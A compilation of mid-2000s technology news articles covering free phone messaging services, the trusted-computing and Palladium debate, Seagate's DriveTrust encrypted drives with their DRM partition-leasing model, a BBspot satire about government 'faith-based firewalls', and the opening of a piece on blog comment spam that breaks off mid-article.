FREE ‘PINGS’ Pinger is a new way to reach someone: a method that combines the immediacy of a text message with the personality of voice mail. (You can sign up at Pinger.com.) You call one of Pinger’s access numbers, say the name of the person you’re calling, and then speak a message.

Suppose you’ve just pinged your sister. She receives a text message to let her know. With one keystroke, she can hear your message — and with another, send a voice reply. There’s no waiting to roll over to voice mail, no listening to instructions, no outbound greetings.

Because Pinger is much faster and more direct than voice mail, it’s great for sending quick voice notes when you’re driving or walking between meetings. It’s also ideal when you can’t risk being stuck in a 20-minute conversation with no polite way out.

Bonus features: You can broadcast a message to a whole group at once (“Baby girl, seven pounds — mom doing well!”), forward a message to a third party (any cellphone carrier), or retrieve and manage your messages on the Web.

Pinger is free until the new year. Even then, you’ll get 10 or 20 free pings a month (details aren’t complete); additional pings will cost a few cents each. Pinger says it’s working to fix the biggest downside, which is that you can’t ping someone’s phone (only the person’s e-mail address) until they’ve signed up for a free account.

FREE FUN YouMail, also in beta testing, is also dissatisfied with traditional voice mail. Its solution, though, is a complete surgical replacement of your carrier’s voice mail system. When you sign up at youmail.com, you’re instructed to reprogram your cellphone by typing in a series of codes. When it’s over, YouMail is your voice-mail service — not your cell carrier.

Why bother? First, because you can record a separate greeting for everyone you know. Your boss will hear you say: “This is Casey Robin, systems manager at Globodyne Technology. I’ll get back to you promptly. After all — your business is our business.”

Your love interest, however, will hear: “Hey there, huggalump. Miss you. Leave me a massage.”

(Hint: Don’t mix them up.)

You can even treat certain callers to something called Ditchmail. That’s when they hear, “This user is currently not accepting new messages. Goodbye!” (Disgruntled exes come to mind.)

For everyone else, you just record a generic greeting. You can also check your messages from the Web or any phone, save memorable ones to your computer, and forward messages to other people.

The Web site is still glitchy — for starters, a fix for Macs is in the works — and switching back to your old voice mail if you don’t care for YouMail isn’t exactly a one-click operation. But over all, YouMail is fun, and it has real uses; for example, you can let your friends know that you’re away on vacation, but not people who don’t need to know.

YouMail, too, is free during its testing phase; after the new year, it will be free if you’re willing to endure ads, and a few dollars a month otherwise. Note that YouMail isn’t ideal if you have Sprint, which charges you for “conditional forwarding” — a feature that YouMail requires.

Frankly, it is worth a few dollars to escape the minutes-burning, recorded instructions of cellular voice mail systems: “To leave a message, speak at the tone. When you’re finished, you may hang up ... .”

FREE PRICE COMPARISONS As you head out to the seething malls for holiday shopping, your cellphone can do more than tell your family you’re stuck in traffic. It can also save you money.

As you inspect something you’re tempted to buy, dial 888-Do-Frucall (888-363-7822; leave off the last two L’s for — well, for now). When prompted, plug in the bar code on the package. After a 10-second ad, a voice is usually successful in identifying the item by name (“Luv’s Diapers Value Pack, 208 Diapers Variation — not available used”), and provides the prices from three sample online stores.

It’s a disruptive little technology — doomsday, really, to a “we’ll beat any price” retailer. Frankly, the whole comparison concept seems a little unfair: How is a physical store supposed to match the prices of online outfits with much lower expenses for rent, clerks, taxes and so on?

Still, Frucall may let you know when you’re about to make an expensive mistake, and occasionally provide ammo for negotiating.

All right, it’s a stretch to think that you’ll be making free services like these part of your official, solemn, dinnertime thanksgiving. But it’s entirely possible that they may one day get you out of a pinch or save you a little time or money. Surely that will merit at least a little “Hey, thanks!” in your head.
http://www.nytimes.com/2006/11/23/te...67c&ei=5087%0A





Security Technologies Could Backfire Against Consumers
Robert Lemos

At the USENIX Security Conference held here recently, Microsoft developers touted the company's upcoming Palladium architecture as technology that would enhance privacy, stymie piracy and increase a corporation's control over its computers.

Others, however, see a more nefarious role for the security software.

Instead of just keeping hackers out, critics say programs like Palladium could also block computer users from certain data. For example, the technology could be used as a policing mechanism that bars people from material stored on their own computers if they have not met licensing and other requirements.

"The perception is that the security protects content on the user's PC from third parties," said a security consultant who goes by the moniker of Lucky Green. "That's wrong."

The conflict highlights a growing debate over "trusted computers"--machines equipped with the technology to wall off data, secure communications and verify the characteristics of their system. Although military and intelligence agencies have used such systems, the concept has been met with opposition in mainstream consumer markets.

The reason: The masses don't necessarily trust the companies developing "trusted computing" technology.

Richard Stallman, founder of the Free Software Foundation and of the GNU project for creating free versions of key Unix programs, lampooned the technology in a recent column as "treacherous computing."

"Large media corporations, together with computer companies such as Microsoft and Intel, are planning to make your computer obey them instead of you," he wrote. "Proprietary programs have included malicious features before, but this plan would make it universal."

He and others, such as Cambridge University professor Ross Anderson, argue that the intention of so-called trusted computing is to block data from consumers and other PC users, not from attackers. The main goal of such technology, they say, is "digital-rights management," or the control of copyrighted content. Under today's laws, copyright owners maintain control over content even when it resides on someone else's PC--but many activists are challenging that authority.

Microsoft denies that Palladium is designed as a mechanism to police consumers' use content. The company plans to release the technology in 2005, as part of a major update to Windows. "We get very strong feedback from our customers about the freedom for data migration," said Peter Biddle, a Microsoft product manager pushing the initiative. "We are not going to use Palladium to make our customers--our favorite people--angry at us."

In fact, Microsoft sees the initial markets for the Palladium technology to be in the business realm. The new software and hardware could secure VPNs (virtual private networks) by allowing administrators to positively identify computers on the network. Corporate executives, concerned that embarrassing e-mail messages might end up appearing in court and in the news, could require employees to use trusted computing technologies that could throw away the digital keys to any message more than one month old. Such considerations could make Palladium and other trusted technologies a fairly easy sell to businesses.

It's consumers that could be the hitch.

Concerns about trusted computing initiatives have been fueled by policies and legislation such as the Digital Millennium Copyright Act (DMCA), which has been used repeatedly by the music industry, movie studios and even the software industry to attack programmers and consumers who break the copyright protections. While several challenges are being waged in court, opponents worry that "trusted" technologies will preempt these cases.

Moreover, lawmakers have introduced controversial bills this year that could strengthen copyright controls over computers and the data they store. A measure proposed by Sen. Ernest "Fritz" Hollings, D-S.C., would require hardware makers to include anti-copying mechanisms in all new consumer electronic devices. Another bill promoted by Rep. Howard Berman, D-Calif., would allow copyright owners to use technical measures, including unauthorized access and attacks on file-sharing networks, to prevent copyright infringement.

Such pro-security measures have gained momentum in the post-Sept. 11 political climate, which has focused attention on Internet threats of terrorism.

"I think we need a trusted environment. Things are too insecure," said David Farber, a telecommunications law professor at the University of Pennsylvania and one of four advisers to the Trusted Platform Computing Alliance (TPCA), a hardware-based security initiative. "They were insecure before 9/11, and they are needed more now."

Advertising their trust
With TPCA or Palladium technology, a computer can advertise its trustworthiness to other systems, such as Web sites. Trojan horses and applications for pirating software, meanwhile, won't be able to change data processed in the trusted parts of the PC.

"A trusted platform can attest to its configuration, and I, a merchant, can decide if I want to deal with that PC," Marcus Varady, marketing manager for Intel's safer computing initiative and the chair of the TCPA steering committee, said in a recent interview. "I can then drop my wall of protection within that environment to collaborate with them on a trusted level."

A Web site selling music, for example, could determine if a customer has a PC outfitted with such copyright protections before allowing any songs to be downloaded from the Internet. However, opponents maintain that the price of such protection would be a reversal of the Information Age, in that it would impose more restrictions on people's use of information than any previous technology.

William Arbaugh, an associate professor of computer science at the University of Maryland, acknowledged that the TPCA could improve security but said hardware and software modifications could do even more harm if abused by companies.

"The TCPA as it stands now is unacceptable," Arbaugh concluded.

In addition, even proponents of the technology concede that it is not foolproof in preventing piracy. Palladium, for instance, could not stop a hardware attack, which might cause some information to leak out. The technology's security disappears when data is outside the Palladium infrastructure, Microsoft's Biddle said.

"Once Elvis has left the building, Elvis can't get back in the building," he added.

Small changes, big results
The modifications to PC hardware are fairly mild for technology that could completely change how data is dealt with in the future.

The TCPA and Microsoft's Palladium rely on additions to the hardware of normal PCs. While Palladium calls for more extensive changes, the modifications are remarkably similar.

Both call for a new chip to be placed on the motherboard of all future computers. The chip would include new encryption functions as well as a small amount of memory that would act as a digital vault to store important keys to decrypt protected data. The TCPA refers to the chip as the "trusted platform module," a successor to Intel's processor ID--an idea the chipmaker abandoned in 1999 after a public outcry over privacy. Microsoft refers to the hardware component of Palladium as the "security support component."

Microsoft and the TCPA envision that operating-system makers will add code to take advantage of the new hardware features. The software side of Palladium is Microsoft's vision of where such features can lead: Called the nexus or nub--or, more formally, the "trusted operating root"--the core software will handle all access to the new security. Microsoft will release the code for its nexus so that security-concerned developers can vet the software for flaws.

Opponents criticize any process or technology controlled by a single company that may have ulterior motives--especially when that company is Microsoft. Eben Moglen, a noted Free Software Foundation attorney and professor of law at Columbia University, has argued that such proprietary initiatives could stunt the growth of open-source technologies like Linux, which is gathering strength as a challenger to the Windows operating system.

More empire-building?
Lucky Green warns that Palladium-like technologies could end up giving too much power to manufacturers of operating systems, such as Microsoft, at the expense of applications makers.

"Since operating systems that restrict data can determine which applications can run, it changes the software landscape into first-citizen applications that have access to the content and second-citizen applications that don't have access," he said. "That puts the software makers at the mercy of the hardware vendors."

Green suspects that Microsoft wants to use Palladium to enforce software licenses. He claims the day after attending the USENIX Security Conference, he contacted an attorney and filed two patents on ways that Palladium-like systems could be used for such enforcement. While Green won't discuss his intentions, many believe he is trying to preempt companies from using the technology for this purpose.

"The objective and capabilities are to secure the applications and data against the end user to the benefit of third parties," he said of trusted computing initiatives in general.

Proponents scoff at such notions as conspiracy theory. "I have seen no signs that Microsoft and Intel are out to screw the world; and if they do screw the world, I think Congress will stop them," said the University of Pennsylvania's Farber.

Nevertheless, all parties involved acknowledge the confounding complexity of the issue, and even Microsoft doesn't know where it will end up.

"We can speak to what we intend to have happen," said Mario Juarez, another product manager for Palladium, but "there are so many unanswered questions at this point."
http://news.com.com/2009-1001-964628.html





Seagate: The Hard Drive, Reconsidered
Scott M. Fulton

It is a frame of mind that not even the smartest security engineers, working the problem for decades, may have considered: We speak of viruses infecting the operating system. We hold the manufacturers (or, more often, the manufacturer) of the operating system partly responsible, even partly liable, for the damage that malicious programs cause to people's work and livelihood, as if the entire work paradigm for information technology exists in software.

What if we think of the problem from a reverse angle: Aren't hard disk drives the things that get infected? Decades ago, we used to quarantine floppy diskettes that were believed infected, when diskettes were the primary means for viruses to spread, prior to the ubiquitousness of the Internet.

Today's malicious programs enter systems via this network, exploiting vulnerabilities in operating systems in order to become active, but inevitably, they get stored. For viruses to remain effective, at some point in their life cycle, they must become "data at rest" - files residing undetected amid a forest of millions along the surface of a perpetually spinning ceramic platter.

What if we could attack them there? Moreover, what if the mechanism that puts them there in the first place could prevent them from getting there? Viewed in that light, suppose hard drive manufacturers were to recognize the problem as a threat to their livelihood, and proposed a feasible, workable solution which involved the operating system only to a minimal degree?

This is not only the story of a technology, but also of a company that security engineers would consider a "bit player" on the security stage, though which considers itself not only a "bit" player but a big player in IT: Seagate Technology. Seagate's proposed solution to the information integrity problem could fundamentally redefine computing in a way Windows Vista could only dream.

Pursued to its fullest extent (though I grant you, no sweeping concept in the history of IT ever has been pursued to its fullest extent), it could uproot the very business model through which computers are sold. The hard disk drive itself, promoted from a passive storage receptacle to the role of co-provider of the "root of trust," could actually end up costing consumers and businesses less - one critical reason being, they won't be the ones paying for all of it.

Under this model, security software as we have come to know it may become demoted to the third, or perhaps even fourth, "line of defense." So the blasphemy that has become the notion of disengaging antivirus utilities, could metamorphose into feasibility.
Before you think this is just some other pipe dream promulgated by press releases, and predicated by a plethora of "what-ifs," consider the following underappreciated fact: Next week, the hard drive manufacturers of the world, along with that certain operating system manufacturer and other interested parties, will assemble together to vote on how they will actually do this. Their milestones include dates as soon as next year. And there may be little, if any, opposition to this plan among them.

If there is any opposition to be had, if there is any dark lining to be detected amid the silver cloud of interoperable solutions, it may yet come from the consumer. For riding piggy-back on this plan that bears the promise of terminating the current era of malware, is a subsidy which few may instantly embrace: a kind of lease agreement, where quite literally, other companies may reserve segments of the hidden memory inside the hard drive, for use for their own purposes.

Some of these companies could be security providers. Others will likely be content providers. And if this article stopped here, you could still see where it was leading.

The Distrust Problem

If it weren't for George Orwell, the name "Trusted Computing Group" could very well be taken at face value, and the concepts it proposes might not be met by the general public with such instantaneous skepticism. Too much about computing and internetworking has trained its users to distrust, at least with their attitudes if not always in their actions.

While these users complain of the continued deficiencies and vulnerabilities of the software they use, often placing blame where it is generally due, almost with the same breath, they profess the notion that one of the hallmarks of Internet computing is that it upholds the user's right to anonymity.

Yet it is this anonymity -- this need for both users and their processes not to call themselves out for what they are -- that is at the root of the distrust problem. A multi-billion-dollar industry has sprouted forth from the need for some part of the computer to be able to explicitly track down and identify processes that don't properly or correctly identify themselves, in order to isolate malware and stop its spread. And week after week, at some point, all eyes turn to Microsoft to see if some newfound vulnerability will be adequately acknowledged, and if yet another fix is forthcoming.

The cycle has become so commonplace that it's almost comfortable. "Patch Tuesday" is becoming a part of information workers' monthly itineraries, almost like a regular staff lunch. Fewer people, as time goes on, foresee an end to this cycle. Microsoft's ability to continually produce patches rather than architectural remedies seems stretched to the limit, though users are now becoming resigned to the idea that this cycle is permanent.

"MS bringing up all these methods to crackdown on piracy makes me laugh," writes one BetaNews reader, in response to our recent story on Office activation. "They should realize that whatever method they implement, pirates will always crack it. If it's makable, it's crackable."

The picture many have in their minds of their network connections probably resembles Al Gore's metaphorical superhighway, whereupon security measures serve as merely larger and thicker blockades. It's just a matter of time, they conclude, before they succumb to the incoming barrage of artillery. Up goes another set of barricades, like a replenished wave of fortresses in "Space Invaders," and the countdown clock is merely reset.

The permanent solution to the security problem, if there is one, a panel of security experts concluded six years ago during a panel I chaired for COMDEX, lies with the fundamental re-architecture of the computer itself. That redesign, conceivably implemented over stages, would institute the principle of authentication, where both processes and users identify themselves and allow those identities to be confirmed.

The tools of that confirmation, through the wonder of cryptography, would be used to set up encrypted channels of communication between processes and devices that only the authenticated entities could make sense of. If they weren't who they said they were, all they'd see during the interaction would be garbage.

But identity -- as any alcohol abuser under the age of 21 knows -- can be falsified. It shouldn't really matter, then, if the identity of a process is established with 16 digits or 16 million; if one matches the pattern, he theoretically should be able to pass muster.

This is where the principle of trust enters the picture, and the word starts to lose its Orwellian ambiance. In an authentication system using certificates, the default state is distrust. For a process' or a user's identity claim to be verified, the presented certificate is checked against a third party. If that third party's authenticity can be challenged, then it passes on the claim to a more trustworthy party up the chain. This is the chain of trust that is the key component of new architectures for both hardware and software.

The reason a certificate authority (CA), responsible for validating an identity claim, might not be trusted is if it could be spoofed or hacked or otherwise compromised, so that it passes validity without a proper check. The way to avoid this problem without creating an infinite chain of distrust, is to plant the root of trust -- the CA that cannot be spoofed even theoretically -- in a location that is completely secure and impenetrable through the network.

Perhaps the only secure location in a computer system that is impenetrable from the network, is within a component that isn't even logically connected to the network. Most every PC has one. It is, from the network's vantage point, a sarcophagus; yet inside of it is a complete, self-contained computer system, independent of the CPU and the system bus, with its own processor, its own memory, and its own self-contained operating environment. Welcome inside the hard drive.

Relocating the Root of Trust

The principle of the Trusted Computer, as the Trusted Computing Group defines it, is actually in effect now. In fact, Intel is certifying the technology with which system builders can produce Trusted Platform Module (TPM)-equipped systems today, under its vPro logo. AMD's implementation of the TCG specification is called Secure Execution Mode (SEM), though it hasn't yet organized a promotional program around the idea.

Meanwhile, Microsoft's nearly notorious version, once code-named "Palladium," is now embodied in a kind of silver cloud of uncertainty called the Next-Generation Secure Computing Base (NGSCB). The state of that program is perhaps best exemplified by its official Microsoft home page, whose own title bar, you'll note, confuses NGSCB with another initiative entirely.

BetaNews spoke with Dr. Michael Willett, senior director of Seagate Research, at some length about Seagate's work with the TCG. About Intel's, AMD's, and Microsoft's implementations thus far, Dr. Willett noted, "All three share the concept that you have these enclaves of hardware that do sensitive computing. You connect to these sensitive enclaves inside an otherwise inherently insecure larger system. So you drop your sensitive computing down to a piece of hardware when the sensitive computing is needed, and then you interconnect these little enclaves, or islands of trust, for their own purposes, through secure messaging. Then they contribute back to the larger environment, because they all recognize that an open platform software environment is inherently insecure. It's where all your attacks are occurring. So it's in everyone's strategy to do this."

In other words, there are TPMs in a great many computers today, quite possibly in yours. A TPM's sole purpose is to sit alongside the CPU and make itself available, for the express purpose of validating cryptographic certificates, but not to be addressable or accessible to the network. With a TPM in place, hardware on the platform and software in the operating system rely upon each other's presence for authenticating each other's processes. The multiplicity of these so-called "trusted components" is one key to their reliability.

In a way, that's the problem: the TPM's proximity to the CPU. While there's no way to hack a TPM because it's not open to the network, one can (theoretically) hack a CPU to make it "believe" it's communicating with the TPM when it's not. So while you can trust the TPM, you can't necessarily trust the CPU to always behave as though it's trusting the TPM.

Dr. Willett is one of Seagate's principal liaisons to, and a leading authority within, the TCG Storage Workgroup. Its original mission was to establish a protocol for trusted communications between the computer platform and storage devices ("SDs," to use the TCG term). But that mission soon became somewhat broader, as it discovered after compiling a set of about 50 "use case scenarios" for TCG models that include SDs.

Seagate's implementation of the Trusted Platform, which includes its solution to the TPM placement problem, is called DriveTrust, and was formally unveiled last month.

"We looked at the environment of a storage device and a peripheral device in general," Dr. Willett told us. "What we found was that...a peripheral device typically is a more guarded, protected, and closed system, by its very nature, than a platform, like a laptop, PC, or server. [These platforms] are all designed as totally open platforms with software operating systems, lots of APIs for writing applications. That's the good part; the bad part about a platform is, all the APIs and all that openness - and, by the way, all that software - makes it very vulnerable to the whimsy and attack of viruses and all sorts of things. Sort of a push/pull situation."

"We have a contrary situation with the storage device, especially a hard drive," Dr. Willett continued. "The only injuries to a drive are [caused by] the read/write mechanism to the memory itself. There's no external access to the processing and the hidden memory inside the drive. All that is totally closed to the outside world. We have a couple hundred megs of hidden memory in the hard drive set aside that isn't even addressable from the platform, the outside world. So we take advantage of that hidden memory to do the function of the drive itself. And there's a full-blown computer in there too; we have ARM processors and very complicated processors that run the daily business of the drive."

It becomes very tempting to suggest that the hard drive's closed nature makes it the perfect location for a TPM chip - more so than on the motherboard. There's problems with that idea, though, one of whose culminations appears like Seagate's version of the Heisenberg Uncertainty Principle: By opening up the sarcophagus to add the TPM, you lose the virtue of its closed design.

As Dr. Willett remarked, "One reason we don't have a TPM chip in there is because the abstract properties of a TPM chip are immutability and a high degree of protection. On an open platform, we get [these virtues] from a piece of hardware, like a chip." Furthermore, a TPM is by design a passive device, initiating no functions on its own - if it did, its very addressability could lead to it being spoofed. Meanwhile, a storage device has a completely dependent relationship upon the platform. It must be addressable, otherwise it can't function.

So while you might think this would disqualify the hard drive from becoming a trusted component, the TCG Storage Workgroup came up with an altogether different proposal: "In a closed storage device like a hard drive, we can, in a sense, emulate, that same immutability and protection [using] just the innate properties of the drive itself."

What Dr. Willett is referring to is a trusted software stack that emulates the primary functions of a TPM in software, which is then run by the drive controller. "Once you're up and connected," he explained, "then it's a multi-component, trusted system. You want to then think of the storage device as providing kind of a general-purpose security environment. It's like a protected enclave in hardware. It sits behind a privileged set of commands called Trusted Send / Trusted Receive, that have been internationally standardized by SCSI and ATA."

What he means is, SCSI and ATA protocols have already been adapted to use internal drive commands that rely on the trusted software stack to certify the reliability of read and write operations - this isn't something that is going to happen in some projected, far-off future, it's happening now. What happens next is, these same commands will then be leveraged to enable TCG operations to take place inside the hard drive, completely secluded from both the system BIOS and the operating system, though performing the functions of a TPM chip.

"So if you're a banking application," Dr. Willett supposed, "and you want a digital signature performed in a highly protected environment, not just in software, you could invoke the signature function on the drives to do [that] for you. If you want to store a piece of medical information in a very privileged, normally non-addressable position in the drive, only accessible through Trusted Send/Receive, then you could store a credential in the privileged storage location in the drive. You could take advantage, in other words, of the whole security set of functions on the drive as an application. So what you're getting is more reliable, trustworthy, more closed, naturally virus-proof. Nothing else can get in the drive."

Next: Who benefits, and how soon?

The first big consumer benefit of a DriveTrust-enabled product will be the capability to encrypt its entire contents. "For years, there have been software embodiments of full-disk encryption," said Dr. Willett. "The encryption runs over on the platform in software, running against the [CPU] that's in the platform, typically, and the keys are stored somewhere in software. There are certain inherent vulnerabilities to that. We put the hardware on the drive doing the encryption, we put the key on the drive in a derived-key format in hidden memory, that's never even in the clear, so you get a lot higher protection when this function's over on the drive. So you're going to see a lot of the security function migrating from a sort of higher-risk, lower protection of the operating system, over to some of these hardware enclaves like storage devices, as it becomes widely available."

Dr. Willett explained how that will work: At the factory, a randomly-generated encryption key will be generated, though that process is kept hidden from even the factory machinery. After the drive is purchased, the new owner then initiates the drive by creating a series of master passwords for it. Those master passwords are then mathematically combined with the original encryption key to create a derived key.

The original cryptographic key is then eliminated from the drive, and the derived key put in its place. The master passwords remain necessary to decouple the crypto key from the derived key. When the drive is shut down, the derived key is stored, but without the master passwords, that key is useless.

What happens when the drive gets transferred to another owner, we asked? A handoff process enables the original crypto key, once decoupled from the derived key, to be applied to a new set of passwords, thus creating a new derived key. This process has the added virtue of "cleaning" the drive's contents without having to reformat.

In the Trusted Computing scheme of things, the handoff process -- where the drive changes ownership -- is a critical moment. When any component with an installed TPM is shipped to a customer, it has to be "activated," in a process Dr. Willett describes as very similar to activating a Microsoft software product. He does elevate its importance, though, by describing it as a "handoff ceremony," where the user takes possession of the drive by keying in a security IT number provided to it by the manufacturer - in this case, by Seagate. By signing off on the drive, he said, "it's like an evidentiary chain like on one of these cop shows...so that you don't have any perturbation in the evidence."

What this means is, as hardware starts to take on some of the functions of software, it will end up being activated like software.

Once that handoff takes place, however, a system is initiated whereby the hard drive is not only capable of encrypting everything it writes and decrypting what it reads, but also using cryptographic key functionality to validate that every stream of data it is directed to write has been authorized by a Trusted Application, with the TCG applying the big, capital letters.

A TA in this regard is not, as some have suggested, a selected group of software that has earned - or otherwise acquired - the IT equivalent of the "Good Housekeeping Seal of Approval." It's simply an application that can prove its identity, or otherwise enable another trusted component to vouch for it. Conceivably, every genuine application -- even those that already exist -- could qualify.

One of Windows Vista's new and thus far underappreciated features is its extension of group policy to the local level, enabling even individual users in their home offices to administer Vista using tools the network admins use. With the group policy model in Vista being extensible, a TCG environment could enable the operating system to only run processes that pass the Trusted test for authenticity.

In such an environment, even Web-based scripts may have to prove their validity to the user directly before they can run. At that point, the most clever malware will have to resort to attempting false certification - a process that could conceivably work somewhere, at some time, maybe once.

The TCG Storage Workgroup's current Use Case Whitepaper, version 1.0, addresses this very point: "The TPM is a root of trust that extends to trusted applications running on the host which may then securely manage such resources in the internal SD computing environment. Since such host applications are written by the open community, it is essential that one application cannot affect SD resources that another application depends upon, except in predictable ways. Therefore the system of access controls may be divided among applications that may run on the host."

Yet immediately, the white paper goes on to make this understated point, whose significance is masked by the language's obscurity: "It is precisely this strong notion of SD-enforced host application rights that allows trust to be extended from the TPM-grounded host to the SD. A natural consequence of this is to provide greater opportunities in storage, such as permanent storage areas that are restricted to particular host applications, and exclusive control over the data-at-rest encryption capabilities of the SD." Ah, wrote Shakespeare so brilliantly, there's the rub.

The Beat of a Different DRM

Authentication by way of cryptographic certificates has been a feasibility since the early 1990s, and an actively explored concept for at least a decade prior. It could have enjoyed widespread implementation today, but due to what has generally been explained as a lack of public interest, it doesn't.

There has consistently been a high degree of skepticism among some of the most intelligent and most well-placed individuals in the IT community -- people you'd trust to cry "Fire!" only when there's a fire -- over how authentication would be implemented, and which organizations should be "trusted" with that responsibility.

Last year, I interviewed security expert and Counterpane CTO Bruce Schneier about Trusted Computing for another publication. He has a long-standing distrust of the TCG concept, not because of what he concedes are its noble objectives, but because of the parties that stand to benefit from certain little side benefits, such as "greater opportunities" for "permanent storage areas that are restricted to particular host applications."

While you may be thinking of Microsoft, people like Schneier are hearing instead the sound of a much more familiar fanfare.

"In their zeal to stamp out piracy," Schneier told me last year, "the media companies might actually stamp out computing. They don't want you to have computers; they want you to have Internet entertainment platforms. To the extent that you have a fully programmable computer, that's a danger, because you could do things that are unauthorized by whoever wants to start giving out authorization."

Seagate's Michael Willett has a completely different take. "If I elect that I want [content] that I'm not going to get otherwise, I'm not going to get it free unless I steal something," he told us. "If a content provider like a studio is willing to provide me, under some DRM scheme, content that I can view as a privilege...then they deserve to have certain protections against theft. So it's a tradeoff. But all the way through, the user has end control over that function. I can't crack the system. I didn't steal something...but if I don't want it to run on my system, I can delete it."

Nothing in the Trusted Computing platform lends itself to any particular digital rights management scheme. It would be foolish for TCG if it did, Dr. Willett told us, because it has documented at least 49 major schemes currently in active use, and there's no guarantee that any one of them will be the one that survives the shakeout.

But DriveTrust was designed to give DRM providers "building blocks" they would need to implement more trustworthy rights management schemes. One potential payoff from this, the benefits of which are indisputably worth considering, is that such building blocks could effectively relocate some of the most critical features of DRM away from the less trusted clutches of the operating system.

Another possibility, which Seagate is actively exploring, Dr. Willett told us, is the enablement of a more open DRM platform that could be leveraged not just by institutions and movie studios but by individuals. Under such a system, for example, independently made videos uploaded to sharing services such as YouTube could be encoded with DRM provisions -- perhaps under an open-source model -- that would protect their independent creators from being exploited by other services, or from having their work be distributed in any way other than what they intended.

Under such a system, independent artists could bypass movie studios altogether, Dr. Willett suggested, making their material available for sale through an active, independent, open market made feasible by the very technology that raises Bruce Schneier's red flags.

"What a lot of people reject is the business model of the future," Dr. Willett stated to BetaNews. "Right now, the music studios are lamenting the fact that the artists aren't getting their fair due, that people are stealing songs and there's revenues being lost, and the artists are getting the shaft. But the model of the future is the artist as content provider, the artist as publisher. There are a lot of amateurs now that are putting out movies free. With a little bit of DRM, content protection and a little charge-back system on top of that, the artist can become a publisher, because the distribution vehicle is so easy...That's the model that we'll largely move to."

To make this system feasible, Dr. Willett suggested, DriveTrust-enabled storage devices would need to include features where DRM providers -- along with security software providers, and producers of other classes of applications (I can think of one right now) -- literally lease parcels of real estate inside the protected memory of hard drives, the term of which is perpetual even after the drives are purchased.

"We have divided that memory into what are called secure partitions," Dr. Willett explained, "so it's like a couple of hundred security partitions, sitting across that hidden memory space. If an application on a laptop wants to use the security functions on the drive, the application is assigned one of those security partitions. Through that security partition, using Trusted Send/Receive and the credentials and the secrets that the application is given, it gets all that security function: crypto, storing of credentials, all that stuff that's on the drive. And then you can have multiple applications hooking into different security partitions."

It is here where the cryptography scheme transforms into a business model. Rather than consumers paying for premium features, those features instead literally become subsidized by the companies that would utilize them. As a result -- moreover, as incentive -- those features become ubiquitous.

One example of this business model in current practice concerns enterprise-level key management applications, which DriveTrust-enabled drives use today. "The full-drive encryption works for you right out of the box," Dr. Willett told us, "but if you want enterprise-level key management, which all the enterprises do, you buy this piece of software...and [it] pays us a few pennies every time somebody activates that application.

"The beauty of this is," Dr. Willett continued, "a year after I sell you that drive, those [used] ex-keys are laying there dormant, unused on the drive. And along comes an application that has an arrangement with Seagate, and has already licensed one of those secure partitions. When the end user buys that application, it invokes that added key under the covers, and the applications guy pays us a few pennies. So with this model, we've got an annuity built into the hard drive, because those security partitions can be activated by an application for years after the drive has been sold."

Dr. Willett compared this business model to that of the modern cell phone, where premium services to which users subscribe for less-than-break-even prices, are partly subsidized by service providers. His suggestion: If Trusted Computing is explored to its full extent, it could drive consumer and business costs for computer systems down.

"Seagate is pledged to put DriveTrust on every drive in our family in the future," he pronounced, "so you're going to see it everywhere, we hope. I'm just rooting for the day when we have it ubiquitous."

By "ubiquitous," he means far beyond the boundaries of Seagate alone: "In the face-to-face storage meetings that we're having hot-and-heavy every week...we have every major hard drive manufacturer [who] has sent their best and brightest design engineers to the standard. We just bought Maxtor, [and] we have Western Digital, Fujitsu, Hitachi, Samsung, and we have two or three flash drive storage people, and then we've got the tape drive people...Microsoft's on the board with us, as is AMD and Intel. They all are promoting strategically this idea that you put in hardware, ultimately, the sensitive functionalities, and then you call into it for sensitive computation. And then you have the rest of the operating system do its thing."

"There's always a need for an operating system, but I think you're going to see more of the sensitive functions moved to hardware," Seagate's Willett concluded. "That's what we trust: We trust hardware."

It could be a dramatically different personal computer environment over the next five years, than we're accustomed to today. Software services and content providers, conceivably, could partly subsidize the distribution of computers, whose growth rate as an industry has been acknowledged to be slowing down, and whose business model could very well be overdue for an upgrade.

While the success of this concept is uncertain, what we do know is that it will be attempted, on a major scale. It could uproot the very underpinnings of the computer security industry, as the definition of "virus" will change as certification and signing become more prevalent, and authentication of all processes and streams more commonplace.

What would prevent such a system from coming into full fruition is distrust - not of the individuals responsible for malware, but of the institutions interested in leasing space in the new scheme, some with the intention of combating that malware. It's almost impossible not to imagine DriveTrust doling out secure partitions like property titles in a game of Monopoly. It's the negative connotations that DRM carries with it, the track record of privacy violation and integrity compromises, that prevents people from accepting it as the potential foundation for a legitimate business model.

It is the perfect irony: The potential for widespread exploitation could dissuade people from adopting a system that could effectively correct and make right what has already proven to be the most easily and broadly exploited technology in human history. The questions we must ask ourselves, if we are serious about our role as information professionals, are these: First, are we willing to make the tradeoff? And next, if the answer is no, are we prepared to comfort ourselves with the consequences of our choice for the remainder of our careers?
http://www.betanews.com/article/seag...red/1164238838





Bush Proposes Faith-Based Firewalls for Government Computers
Brian Briggs

President Bush announced that by 2008 all government computers should be protected from outside attacks by the faith-based firewall called Protection From Above (PFA) from Houston-based software developer Christisoft.

"For too long we have turned to proven software companies with expertise in computer security for protection, now our computers will be protected by the power of prayer at a much lower cost to taxpayers," said Bush.

Estimates show the US government spent $1.2 billion dollars to secure their computer systems at various agencies, which many Republicans think is an indulgence the government can't afford.

"With the faith-based firewall and other faith-based security software from Christisoft we could save billions over the next ten years. That's money that can be returned to the most generous of taxpayers," said the President.

Bush also cited doubts about the efficacy "of science-based computer security" though he didn't use that word exactly.

The software requires no installation or maintenance fees, but only a onetime registration fee for unlimited computers.

Joel Osgood, founder of Christisoft, said, "With the one time registration fee, a company's entire network of computers joins our network of computer security prayer specialists. The power of prayer can heal the soul and can also protect you from nasty denial of service attacks and viruses."

Specialists in IT departments at various government agencies said they weren't contacted by the White House for any feedback on the system and they believe the President's decision would be "disastrous" for computer security.

Osgood refuted critics who said prayer can't protect from cyberattacks by saying, "Computers are extremely complicated devices that mere humans couldn't dream of understanding. It takes the power of God to do that."

Any security breaches in the PFA software are countered by a double-prayer guarantee.

Osgood said Christisoft's customer list includes a Fortune 500 company currently being delisted from the New York Stock Exchange.
http://bbspot.com/News/2005/11/faith...firewalls.html





The Price of Humans Who'll Spam Blogs is Falling to Zero
Charles Arthur

The other day, while administering the Free Our Data blog (freeourdata.org.uk/blog if you haven't stopped by yet), I came across an unusual piece of comment spam - a remark left on one of the blog posts. It was advertising a site offering share tips. No surprise there: "pump and dump" spam, as we've pointed out, has become a principal form of email spam, and spammers seem to have found that people are searching for share advice online (a worrying enough thought on its own).

